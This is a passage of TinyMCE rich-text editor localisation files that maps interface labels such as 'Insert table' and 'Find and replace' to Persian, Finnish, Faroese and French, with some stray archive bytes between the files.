\u06a9\u0631\u062f\u0646 \u062a\u0635\u0648\u06cc\u0631",
"General": "\u0639\u0645\u0648\u0645\u06cc",
"Advanced":
"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647",
"Source": "\u0645\u0646\u0628\u0639",
"Border": "\u062d\u0627\u0634\u06cc\u0647",
"Constrain proportions": "\u062d\u0641\u0638
\u062a\u0646\u0627\u0633\u0628",
"Vertical space": "\u0641\u0636\u0627\u06cc
\u0639\u0645\u0648\u062f\u06cc",
"Image description":
"\u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0639\u06a9\u0633",
"Style": "\u0633\u0628\u06a9",
"Dimensions": "\u0627\u0628\u0639\u0627\u062f",
"Insert image": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u062a\u0635\u0648\u06cc\u0631",
"Insert date\/time": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646
\u062a\u0627\u0631\u06cc\u062e\/\u0632\u0645\u0627\u0646",
"Remove link": "\u062d\u0630\u0641
\u0644\u06cc\u0646\u06a9",
"Url": "\u0627\u062f\u0631\u0633
\u0644\u06cc\u0646\u06a9",
"Text to display": "\u0645\u062a\u0646
\u0628\u0631\u0627\u06cc \u0646\u0645\u0627\u06cc\u0634",
"Anchors": "\u0644\u0646\u06af\u0631 -
\u0644\u06cc\u0646\u06a9 \u062f\u0627\u062e\u0644
\u0635\u0641\u062d\u0647",
"Insert link": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0644\u06cc\u0646\u06a9",
"New window": "\u067e\u0646\u062c\u0631\u0647
\u062c\u062f\u06cc\u062f",
"None": "\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u0646\u062d\u0648\u0647 \u0628\u0627\u0632
\u0634\u062f\u0646 \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link":
"\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634
\u06a9\u0631\u062f\u0646 \u0644\u06cc\u0646\u06a9",
"Insert\/edit video":
"\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634
\u06a9\u0631\u062f\u0646 \u0641\u0627\u06cc\u0644
\u062a\u0635\u0648\u06cc\u0631\u06cc",
"Poster": "\u067e\u0648\u0633\u062a\u0631",
"Alternative source": "\u0645\u0646\u0628\u0639
\u062f\u06cc\u06af\u0631",
"Paste your embed code below:": "\u06a9\u062f
\u062e\u0648\u062f \u0631\u0627 \u0628\u0631\u0627\u06cc \u062c\u0627
\u062f\u0627\u062f\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a - embed -
\u060c \u062f\u0631 \u0632\u06cc\u0631 \u0642\u0631\u0627\u0631
\u062f\u0647\u06cc\u062f:",
"Insert video": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0641\u0627\u06cc\u0644
\u062a\u0635\u0648\u06cc\u0631\u06cc",
"Embed": "\u062c\u0627 \u062f\u0627\u062f\u0646",
"Nonbreaking space": "\u0641\u0636\u0627\u06cc
\u063a\u06cc\u0631 \u0634\u06a9\u0633\u062a\u0646",
"Page break": "\u0634\u06a9\u0633\u062a\u0646
\u0635\u0641\u062d\u0647",
"Paste as text": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646
\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062a\u0646",
"Preview": "\u067e\u06cc\u0634
\u0646\u0645\u0627\u06cc\u0634",
"Print": "\u0686\u0627\u067e",
"Save": "\u0630\u062e\u06cc\u0631\u0647",
"Could not find the specified string.":
"\u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u06cc
\u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u067e\u06cc\u062f\u0627
\u0646\u0634\u062f.",
"Replace": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646
\u06a9\u0631\u062f\u0646",
"Next": "\u0628\u0639\u062f\u06cc",
"Whole words": "\u0647\u0645\u0647
\u06a9\u0644\u0645\u0647\u200c\u0647\u0627",
"Find and replace":
"\u062c\u0633\u062a\u200c\u0648\u200c\u062c\u0648 \u0648
\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646",
"Replace with": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646
\u06a9\u0631\u062f\u0646 \u0628\u0627",
"Find":
"\u062c\u0633\u062a\u200c\u0648\u200c\u062c\u0648",
"Replace all": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646
\u06a9\u0631\u062f\u0646 \u0647\u0645\u0647",
"Match case": "\u062d\u0633\u0627\u0633 \u0628\u0647
\u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9 \u0648
\u0628\u0632\u0631\u06af",
"Prev": "\u0642\u0628\u0644\u06cc",
"Spellcheck": "\u0628\u0631\u0631\u0633\u06cc
\u0627\u0645\u0644\u0627\u06cc\u06cc",
"Finish": "\u067e\u0627\u06cc\u0627\u0646",
"Ignore all": "\u0646\u0627\u062f\u06cc\u062f\u0647
\u06af\u0631\u0641\u062a\u0646 \u0647\u0645\u0647",
"Ignore": "\u0646\u0627\u062f\u06cc\u062f\u0647
\u06af\u0631\u0641\u062a\u0646",
"Insert row before": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0633\u0637\u0631 \u062c\u062f\u06cc\u062f
\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646
\u0633\u0637\u0631",
"Rows": "\u062a\u0639\u062f\u0627\u062f
\u0633\u0637\u0631\u200c\u0647\u0627",
"Height": "\u0627\u0631\u062a\u0641\u0627\u0639",
"Paste row after":
"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631\u060c
\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646
\u0633\u0637\u0631",
"Alignment": "\u0631\u062f\u06cc\u0641
\u0628\u0646\u062f\u06cc \u0646\u0648\u0634\u062a\u0647",
"Column group": "\u06af\u0631\u0648\u0647
\u0633\u062a\u0648\u0646",
"Row": "\u0633\u0637\u0631",
"Insert column before": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0633\u062a\u0648\u0646 \u062c\u062f\u06cc\u062f
\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646
\u0633\u062a\u0648\u0646",
"Split cell": "\u062a\u0642\u0633\u06cc\u0645
\u0633\u0644\u0648\u0644 \u062c\u062f\u0648\u0644",
"Cell padding": "\u062d\u0627\u0634\u06cc\u0647
\u0633\u0644\u0648\u0644 \u0647\u0627",
"Cell spacing": "\u0641\u0627\u0635\u0644\u0647\u200c\u06cc
\u0628\u06cc\u0646 \u0633\u0644\u0648\u0644 \u0647\u0627",
"Row type": "\u0646\u0648\u0639 \u0633\u0637\u0631",
"Insert table": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u062c\u062f\u0648\u0644",
"Body": "\u0628\u062f\u0646\u0647",
"Caption": "\u0639\u0646\u0648\u0627\u0646",
"Footer": "\u067e\u0627\u0646\u0648\u06cc\u0633",
"Delete row": "\u062d\u0630\u0641 \u0633\u0637\u0631",
"Paste row before":
"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631\u060c
\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646
\u0633\u0637\u0631",
"Scope": "\u0645\u062d\u062f\u0648\u062f\u0647\u200c\u06cc
\u0639\u0646\u0648\u0627\u0646",
"Delete table": "\u062d\u0630\u0641
\u062c\u062f\u0648\u0644",
"Header cell": "\u0633\u0631\u0622\u06cc\u0646\u062f
\u0633\u0644\u0648\u0644",
"Column": "\u0633\u062a\u0648\u0646",
"Cell": "\u0633\u0644\u0648\u0644",
"Header": "\u0633\u0631\u0622\u06cc\u0646\u062f",
"Cell type": "\u0646\u0648\u0639
\u0633\u0644\u0648\u0644",
"Copy row": "\u06a9\u067e\u06cc \u0633\u0637\u0631",
"Row properties":
"\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc
\u0633\u0637\u0631",
"Table properties":
"\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc
\u062c\u062f\u0648\u0644",
"Row group": "\u06af\u0631\u0648\u0647
\u0633\u0637\u0631",
"Right": "\u0631\u0627\u0633\u062a",
"Insert column after": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0633\u062a\u0648\u0646 \u062c\u062f\u06cc\u062f
\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646
\u0633\u062a\u0648\u0646",
"Cols": "\u062a\u0639\u062f\u0627\u062f
\u0633\u062a\u0648\u0646\u200c\u0647\u0627",
"Insert row after": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0633\u0637\u0631 \u062c\u062f\u06cc\u062f
\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646
\u0633\u0637\u0631",
"Width": "\u0639\u0631\u0636",
"Cell properties":
"\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc
\u0633\u0644\u0648\u0644",
"Left": "\u0686\u067e",
"Cut row": "\u0628\u0631\u0634 \u0633\u0637\u0631",
"Delete column": "\u062d\u0630\u0641
\u0633\u062a\u0648\u0646",
"Center": "\u0648\u0633\u0637",
"Merge cells": "\u0627\u062f\u063a\u0627\u0645
\u0633\u0644\u0648\u0644\u200c\u0647\u0627",
"Insert template": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646 \u0627\u0644\u06af\u0648",
"Templates":
"\u0627\u0644\u06af\u0648\u200c\u0647\u0627",
"Background color": "\u0631\u0646\u06af
\u0632\u0645\u06cc\u0646\u0647 \u0645\u062a\u0646",
"Text color": "\u0631\u0646\u06af \u0645\u062a\u0646",
"Show blocks": "\u0646\u0645\u0627\u06cc\u0634
\u0628\u062e\u0634\u200c\u0647\u0627",
"Show invisible characters": "\u0646\u0645\u0627\u06cc\u0634
\u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u0647\u0627\u06cc
\u063a\u06cc\u0631 \u0642\u0627\u0628\u0644 \u0686\u0627\u067e",
"Words: {0}": "\u06a9\u0644\u0645\u0627\u062a : {0}",
"Insert": "\u0627\u0636\u0627\u0641\u0647
\u06a9\u0631\u062f\u0646",
"File": "\u067e\u0631\u0648\u0646\u062f\u0647",
"Edit": "\u0648\u06cc\u0631\u0627\u06cc\u0634",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631
\u067e\u06cc\u0634\u0631\u0641\u062a\u0647\u200c\u06cc \u0645\u062a\u0646.
\u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647
\u0645\u0646\u0648 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc ALT-F9\u060c
\u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631 ALT-F10 \u0648
\u0628\u0631\u0627\u06cc \u0645\u0634\u0627\u0647\u062f\u0647\u200c\u06cc
\u0631\u0627\u0647\u0646\u0645\u0627 ALT-0 \u0631\u0627
\u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"Tools": "\u0627\u0628\u0632\u0627\u0631\u0647\u0627",
"View": "\u0646\u0645\u0627\u06cc\u0634",
"Table": "\u062c\u062f\u0648\u0644",
"Format": "\u0642\u0627\u0644\u0628",
"_dir": "rtl"
});PKR��[mfE�

tinymce/langs/fi.jsnu�[���tinymce.addI18n('fi',{
"Cut": "Leikkaa",
"Heading 5": "Otsikko 5",
"Header 2": "Otsikko 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Selaimesi ei tue leikekirjan suoraa k\u00e4ytt\u00e4mist\u00e4. Ole
hyv\u00e4 ja k\u00e4yt\u00e4 n\u00e4pp\u00e4imist\u00f6n Ctrl+X ja Ctrl+V
n\u00e4pp\u00e4inyhdistelmi\u00e4.",
"Heading 4": "Otsikko 4",
"Div": "Div",
"Heading 2": "Otsikko 2",
"Paste": "Liit\u00e4",
"Close": "Sulje",
"Font Family": "Fontti",
"Pre": "Esimuotoiltu",
"Align right": "Tasaa oikealle",
"New document": "Uusi dokumentti",
"Blockquote": "Lainauslohko",
"Numbered list": "J\u00e4rjestetty lista",
"Heading 1": "Otsikko 1",
"Headings": "Otsikot",
"Increase indent": "Loitonna",
"Formats": "Muotoilut",
"Headers": "Otsikot",
"Select all": "Valitse kaikki",
"Header 3": "Otsikko 3",
"Blocks": "Lohkot",
"Undo": "Peru",
"Strikethrough": "Yliviivaus",
"Bullet list": "J\u00e4rjest\u00e4m\u00e4t\u00f6n
lista",
"Header 1": "Otsikko 1",
"Superscript": "Yl\u00e4indeksi",
"Clear formatting": "Poista muotoilu",
"Font Sizes": "Fonttikoko",
"Subscript": "Alaindeksi",
"Header 6": "Otsikko 6",
"Redo": "Tee uudelleen",
"Paragraph": "Kappale",
"Ok": "Ok",
"Bold": "Lihavointi",
"Code": "Koodi",
"Italic": "Kursivointi",
"Align center": "Keskit\u00e4",
"Header 5": "Otsikko 5",
"Heading 6": "Otsikko 6",
"Heading 3": "Otsikko 3",
"Decrease indent": "Sisenn\u00e4",
"Header 4": "Otsikko 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Liitt\u00e4minen on nyt
pelk\u00e4n tekstin -tilassa. Sis\u00e4ll\u00f6t liitet\u00e4\u00e4n nyt
pelkk\u00e4n\u00e4 tekstin\u00e4, kunnes otat vaihtoehdon pois
k\u00e4yt\u00f6st\u00e4.",
"Underline": "Alleviivaus",
"Cancel": "Peruuta",
"Justify": "Tasaa",
"Inline": "Samalla rivill\u00e4",
"Copy": "Kopioi",
"Align left": "Tasaa vasemmalle",
"Visual aids": "Visuaaliset neuvot",
"Lower Greek": "pienet kirjaimet: \u03b1, \u03b2,
\u03b3",
"Square": "Neli\u00f6",
"Default": "Oletus",
"Lower Alpha": "pienet kirjaimet: a, b, c",
"Circle": "Pallo",
"Disc": "Ympyr\u00e4",
"Upper Alpha": "isot kirjaimet: A, B, C",
"Upper Roman": "isot kirjaimet: I, II, III",
"Lower Roman": "pienet kirjaimet: i, ii, iii",
"Name": "Nimi",
"Anchor": "Ankkuri",
"You have unsaved changes are you sure you want to navigate
away?": "Sinulla on tallentamattomia muutoksia, haluatko varmasti
siirty\u00e4 toiselle sivulle?",
"Restore last draft": "Palauta aiempi luonnos",
"Special character": "Erikoismerkki",
"Source code": "L\u00e4hdekoodi",
"Color": "V\u00e4ri",
"Right to left": "Oikealta vasemmalle",
"Left to right": "Vasemmalta oikealle",
"Emoticons": "Hymi\u00f6t",
"Robots": "Robotit",
"Document properties": "Dokumentin ominaisuudet",
"Title": "Otsikko",
"Keywords": "Avainsanat",
"Encoding": "Merkist\u00f6",
"Description": "Kuvaus",
"Author": "Tekij\u00e4",
"Fullscreen": "Koko ruutu",
"Horizontal line": "Vaakasuora viiva",
"Horizontal space": "Horisontaalinen tila",
"Insert\/edit image": "Lis\u00e4\u00e4\/muokkaa kuva",
"General": "Yleiset",
"Advanced": "Lis\u00e4asetukset",
"Source": "L\u00e4hde",
"Border": "Reunus",
"Constrain proportions": "S\u00e4ilyt\u00e4
mittasuhteet",
"Vertical space": "Vertikaalinen tila",
"Image description": "Kuvaus",
"Style": "Tyyli",
"Dimensions": "Mittasuhteet",
"Insert image": "Lis\u00e4\u00e4 kuva",
"Insert date\/time": "Lis\u00e4\u00e4
p\u00e4iv\u00e4m\u00e4\u00e4r\u00e4 tai aika",
"Remove link": "Poista linkki",
"Url": "Osoite",
"Text to display": "N\u00e4ytett\u00e4v\u00e4 teksti",
"Anchors": "Ankkurit",
"Insert link": "Lis\u00e4\u00e4 linkki",
"New window": "Uusi ikkuna",
"None": "Ei mit\u00e4\u00e4n",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Antamasi osoite
n\u00e4ytt\u00e4\u00e4 olevan ulkoinen linkki. Haluatko lis\u00e4t\u00e4
osoitteeseen vaaditun http:\/\/ -etuliitteen?",
"Target": "Kohde",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Antamasi osoite
n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite. Haluatko
lis\u00e4t\u00e4 osoitteeseen vaaditun mailto: -etuliitteen?",
"Insert\/edit link": "Lis\u00e4\u00e4 tai muokkaa
linkki",
"Insert\/edit video": "Lis\u00e4\u00e4\/muokkaa video",
"Poster": "L\u00e4hett\u00e4j\u00e4",
"Alternative source": "Vaihtoehtoinen l\u00e4hde",
"Paste your embed code below:": "Liit\u00e4 upotuskoodisi
alapuolelle:",
"Insert video": "Lis\u00e4\u00e4 video",
"Embed": "Upota",
"Nonbreaking space": "Sitova v\u00e4lily\u00f6nti",
"Page break": "Sivunvaihto",
"Paste as text": "Liit\u00e4 tekstin\u00e4",
"Preview": "Esikatselu",
"Print": "Tulosta",
"Save": "Tallenna",
"Could not find the specified string.": "Haettua merkkijonoa
ei l\u00f6ytynyt.",
"Replace": "Korvaa",
"Next": "Seur.",
"Whole words": "Koko sanat",
"Find and replace": "Etsi ja korvaa",
"Replace with": "Korvaa",
"Find": "Etsi",
"Replace all": "Korvaa kaikki",
"Match case": "Erota isot ja pienet kirjaimet",
"Prev": "Edel.",
"Spellcheck": "Oikolue",
"Finish": "Lopeta",
"Ignore all": "\u00c4l\u00e4 huomioi mit\u00e4\u00e4n",
"Ignore": "\u00c4l\u00e4 huomioi",
"Add to Dictionary": "Lis\u00e4\u00e4 sanakirjaan",
"Insert row before": "Lis\u00e4\u00e4 rivi ennen",
"Rows": "Rivit",
"Height": "Korkeus",
"Paste row after": "Liit\u00e4 rivi j\u00e4lkeen",
"Alignment": "Tasaus",
"Border color": "Reunuksen v\u00e4ri",
"Column group": "Sarakeryhm\u00e4",
"Row": "Rivi",
"Insert column before": "Lis\u00e4\u00e4 rivi ennen",
"Split cell": "Jaa solu",
"Cell padding": "Solun tyhj\u00e4 tila",
"Cell spacing": "Solun v\u00e4li",
"Row type": "Rivityyppi",
"Insert table": "Lis\u00e4\u00e4 taulukko",
"Body": "Runko",
"Caption": "Seloste",
"Footer": "Alaosa",
"Delete row": "Poista rivi",
"Paste row before": "Liit\u00e4 rivi ennen",
"Scope": "Laajuus",
"Delete table": "Poista taulukko",
"H Align": "H tasaus",
"Top": "Yl\u00e4reuna",
"Header cell": "Otsikkosolu",
"Column": "Sarake",
"Row group": "Riviryhm\u00e4",
"Cell": "Solu",
"Middle": "Keskikohta",
"Cell type": "Solun tyyppi",
"Copy row": "Kopioi rivi",
"Row properties": "Rivin ominaisuudet",
"Table properties": "Taulukon ominaisuudet",
"Bottom": "Alareuna",
"V Align": "V tasaus",
"Header": "Otsikko",
"Right": "Oikea",
"Insert column after": "Lis\u00e4\u00e4 rivi
j\u00e4lkeen",
"Cols": "Sarakkeet",
"Insert row after": "Lis\u00e4\u00e4 rivi
j\u00e4lkeen",
"Width": "Leveys",
"Cell properties": "Solun ominaisuudet",
"Left": "Vasen",
"Cut row": "Leikkaa rivi",
"Delete column": "Poista sarake",
"Center": "Keskell\u00e4",
"Merge cells": "Yhdist\u00e4 solut",
"Insert template": "Lis\u00e4\u00e4 pohja",
"Templates": "Pohjat",
"Background color": "Taustan v\u00e4ri",
"Custom...": "Mukauta...",
"Custom color": "Mukautettu v\u00e4ri",
"No color": "Ei v\u00e4ri\u00e4",
"Text color": "Tekstin v\u00e4ri",
"Show blocks": "N\u00e4yt\u00e4 lohkot",
"Show invisible characters": "N\u00e4yt\u00e4
n\u00e4kym\u00e4tt\u00f6m\u00e4t merkit",
"Words: {0}": "Sanat: {0}",
"Insert": "Lis\u00e4\u00e4",
"File": "Tiedosto",
"Edit": "Muokkaa",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rikastetun tekstin alue. Paina ALT-F9
valikkoon. Paina ALT-F10 ty\u00f6kaluriviin. Paina ALT-0 ohjeeseen.",
"Tools": "Ty\u00f6kalut",
"View": "N\u00e4yt\u00e4",
"Table": "Taulukko",
"Format": "Muotoilu"
});PKR��[@˳%%tinymce/langs/fo.jsnu�[���tinymce.addI18n('fo',{
"Cut": "Klipp",
"Header 2": "Header 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"T\u00edn kagi hevur ikki beinlei\u00f0is atgongd til
setibor\u00f0i\u00f0. Vinarliga br\u00faka CTRL+X\/C\/V snarvegirnar
\u00edsta\u00f0in.",
"Div": "Div",
"Paste": "L\u00edma",
"Close": "Lat aftur",
"Font Family": "Font Family",
"Pre": "Pre",
"Align right": "H\u00f8gra stilla",
"New document": "N\u00fdtt skjal",
"Blockquote": "Blockquote",
"Numbered list": "Tal listi",
"Increase indent": "vaks inndr\u00e1tt",
"Formats": "Sni\u00f0",
"Headers": "Headers",
"Select all": "Vel alt",
"Header 3": "Header 3",
"Blocks": "Blocks",
"Undo": "Angra ger",
"Strikethrough": "Strika \u00edgj\u00f8gnum",
"Bullet list": "Punkt listi",
"Header 1": "Header 1",
"Superscript": "H\u00e1skrift",
"Clear formatting": "Strika sni\u00f0",
"Font Sizes": "Font Sizes",
"Subscript": "L\u00e1gskrift",
"Header 6": "Header 6",
"Redo": "Ger aftur",
"Paragraph": "Paragraph",
"Ok": "Ok",
"Bold": "Feit",
"Code": "Code",
"Italic": "Sk\u00e1ktekstur",
"Align center": "Mi\u00f0set",
"Header 5": "Header 5",
"Decrease indent": "Minka inndr\u00e1tt",
"Header 4": "Header 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Paste is now in plain
text mode. Contents will now be pasted as plain text until you toggle this
option off.",
"Underline": "Undirstrika",
"Cancel": "\u00d3gilda",
"Justify": "L\u00edka breddar",
"Inline": "Inline",
"Copy": "Avrita",
"Align left": "Vinstra stilla",
"Visual aids": "Sj\u00f3nhj\u00e1lp",
"Lower Greek": "L\u00edti Grikskt",
"Square": "Fj\u00f3rhyrningur",
"Default": "Forsettur",
"Lower Alpha": "L\u00edti Alfa",
"Circle": "Ringur",
"Disc": "Skiva",
"Upper Alpha": "St\u00f3rt Alfa",
"Upper Roman": "St\u00f3rt R\u00f3mverskt",
"Lower Roman": "L\u00edti R\u00f3mverskt",
"Name": "Navn",
"Anchor": "Akker",
"You have unsaved changes are you sure you want to navigate
away?": "T\u00fa hevur ikki goymdar broytingar. Ert t\u00fa
v\u00edsur \u00ed at t\u00fa vilt halda fram?",
"Restore last draft": "Endurskapa seinasta uppkast",
"Special character": "Serst\u00f8k tekn",
"Source code": "keldukoda",
"Right to left": "H\u00f8gra til vinstra",
"Left to right": "Vinstra til h\u00f8gra",
"Emoticons": "Emotikonur",
"Robots": "Robottar",
"Document properties": "Skjal eginleikar",
"Title": "Heiti",
"Keywords": "Leitior\u00f0",
"Encoding": "Koding",
"Description": "L\u00fdsing",
"Author": "H\u00f8vundur",
"Fullscreen": "Fullan sk\u00edggja",
"Horizontal line": "Vatnr\u00f8tt linja",
"Horizontal space": "Vatnr\u00e6tt
fr\u00e1st\u00f8\u00f0a",
"Insert\/edit image": "Innset\/r\u00e6tta mynd",
"General": "Vanligt",
"Advanced": "Framkomi",
"Source": "Kelda",
"Border": "Rammi",
"Constrain proportions": "Var\u00f0veit lutfall",
"Vertical space": "Loddr\u00e6t
fr\u00e1st\u00f8\u00f0a",
"Image description": "L\u00fdsing av mynd",
"Style": "St\u00edlur",
"Dimensions": "St\u00f8dd",
"Insert image": "Insert image",
"Insert date\/time": "Innset dag\/t\u00ed\u00f0",
"Remove link": "Remove link",
"Url": "Url",
"Text to display": "Tekstur at v\u00edsa",
"Anchors": "Anchors",
"Insert link": "Innset leinkju",
"New window": "N\u00fdggjan glugga",
"None": "Eingin",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "M\u00e1l",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Innset\/r\u00e6tta leinkju",
"Insert\/edit video": "Innset\/r\u00e6tta kykmynd",
"Poster": "Uppslag",
"Alternative source": "Onnur kelda",
"Paste your embed code below:": "Innset ta\u00f0 kodu, sum
skal leggjast inn \u00ed, ni\u00f0anfyri:",
"Insert video": "Innset kykmynd",
"Embed": "Legg inn \u00ed",
"Nonbreaking space": "Hart millumr\u00fam",
"Page break": "S\u00ed\u00f0uskift",
"Paste as text": "Paste as text",
"Preview": "V\u00eds frammanundan",
"Print": "Prenta",
"Save": "Goym",
"Could not find the specified string.": "Kundi ikki finna
leititekst",
"Replace": "Set \u00edsta\u00f0in",
"Next": "N\u00e6sta",
"Whole words": "Heil or\u00f0",
"Find and replace": "Finn og set \u00edsta\u00f0in",
"Replace with": "Set \u00edsta\u00f0in",
"Find": "Finn",
"Replace all": "Set \u00edsta\u00f0in fyri \u00f8ll",
"Match case": "ST\u00d3RIR og l\u00edtlir
b\u00f3kstavir",
"Prev": "Fyrra",
"Spellcheck": "R\u00e6ttstavari",
"Finish": "Enda",
"Ignore all": "Leyp alt um",
"Ignore": "Leyp um",
"Insert row before": "Innset ra\u00f0
\u00e1\u00f0renn",
"Rows": "R\u00f8\u00f0",
"Height": "H\u00e6dd",
"Paste row after": "L\u00edma ra\u00f0 aftan\u00e1",
"Alignment": "Stilling",
"Column group": "Teig b\u00f3lkur",
"Row": "Ra\u00f0",
"Insert column before": "Innset teig \u00e1\u00f0renn",
"Split cell": "Syndra puntar",
"Cell padding": "Punt fylling",
"Cell spacing": "Punt fr\u00e1st\u00f8\u00f0a",
"Row type": "Ra\u00f0 slag",
"Insert table": "Innset talvu",
"Body": "Likam",
"Caption": "Tekstur",
"Footer": "F\u00f3tur",
"Delete row": "Skrika ra\u00f0",
"Paste row before": "L\u00edma ra\u00f0
\u00e1\u00f0renn",
"Scope": "N\u00fdtslu\u00f8ki",
"Delete table": "Strika talvu",
"Header cell": "H\u00f8vd puntur",
"Column": "Teigur",
"Cell": "Puntur",
"Header": "H\u00f8vd",
"Cell type": "Punt slag",
"Copy row": "Avrita ra\u00f0",
"Row properties": "Ra\u00f0 eginleikar",
"Table properties": "Talvu eginleikar",
"Row group": "Ra\u00f0 b\u00f3lkur",
"Right": "H\u00f8gra",
"Insert column after": "Innset teig aftan\u00e1",
"Cols": "Teigar",
"Insert row after": "Innset ra\u00f0 aftan\u00e1",
"Width": "Breidd",
"Cell properties": "Punt eginleikar",
"Left": "Vinstra",
"Cut row": "Klipp ra\u00f0",
"Delete column": "Strika teig",
"Center": "Mi\u00f0a",
"Merge cells": "Fl\u00e6tta puntar",
"Insert template": "Innset form",
"Templates": "Formur",
"Background color": "Bakgrundslitur",
"Text color": "Tekst litur",
"Show blocks": "V\u00eds blokkar",
"Show invisible characters": "V\u00eds \u00f3sj\u00f3nlig
tekn",
"Words: {0}": "Or\u00f0: {0}",
"Insert": "Innset",
"File": "F\u00edla",
"Edit": "Ritstj\u00f3rna",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "R\u00edkt Tekst \u00d8ki. Tr\u00fdst
ALT-F9 fyri valmynd. Tr\u00fdst ALT-F10 fyri ambo\u00f0slinju. Tr\u00fdst
ALT-0 fyri hj\u00e1lp",
"Tools": "Ambo\u00f0",
"View": "V\u00eds",
"Table": "Talva",
"Format": "Smi\u00f0"
});PKR��[�
��!�!tinymce/langs/fr.jsnu�[���tinymce.addI18n('fr',{
"Cut": "Couper",
"Heading 5": "En-t\u00eate 5",
"Header 2": "Titre 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Votre
navigateur ne supporte pas la copie directe. Merci d'utiliser les
touches Ctrl+X\/C\/V.",
"Heading 4": "En-t\u00eate 4",
"Div": "Div",
"Heading 2": "En-t\u00eate 2",
"Paste": "Coller",
"Close": "Fermer",
"Font Family": "Police",
"Pre": "Pre",
"Align right": "Aligner \u00e0 droite",
"New document": "Nouveau document",
"Blockquote": "Citation",
"Numbered list": "Num\u00e9rotation",
"Heading 1": "En-t\u00eate 1",
"Headings": "En-t\u00eates",
"Increase indent": "Augmenter le retrait",
"Formats": "Formats",
"Headers": "Titres",
"Select all": "Tout s\u00e9lectionner",
"Header 3": "Titre 3",
"Blocks": "Blocs",
"Undo": "Annuler",
"Strikethrough": "Barr\u00e9",
"Bullet list": "Puces",
"Header 1": "Titre 1",
"Superscript": "Exposant",
"Clear formatting": "Effacer la mise en forme",
"Font Sizes": "Taille de police",
"Subscript": "Indice",
"Header 6": "Titre 6",
"Redo": "R\u00e9tablir",
"Paragraph": "Paragraphe",
"Ok": "Ok",
"Bold": "Gras",
"Code": "Code",
"Italic": "Italique",
"Align center": "Centrer",
"Header 5": "Titre 5",
"Heading 6": "En-t\u00eate 6",
"Heading 3": "En-t\u00eate 3",
"Decrease indent": "Diminuer le retrait",
"Header 4": "Titre 4",
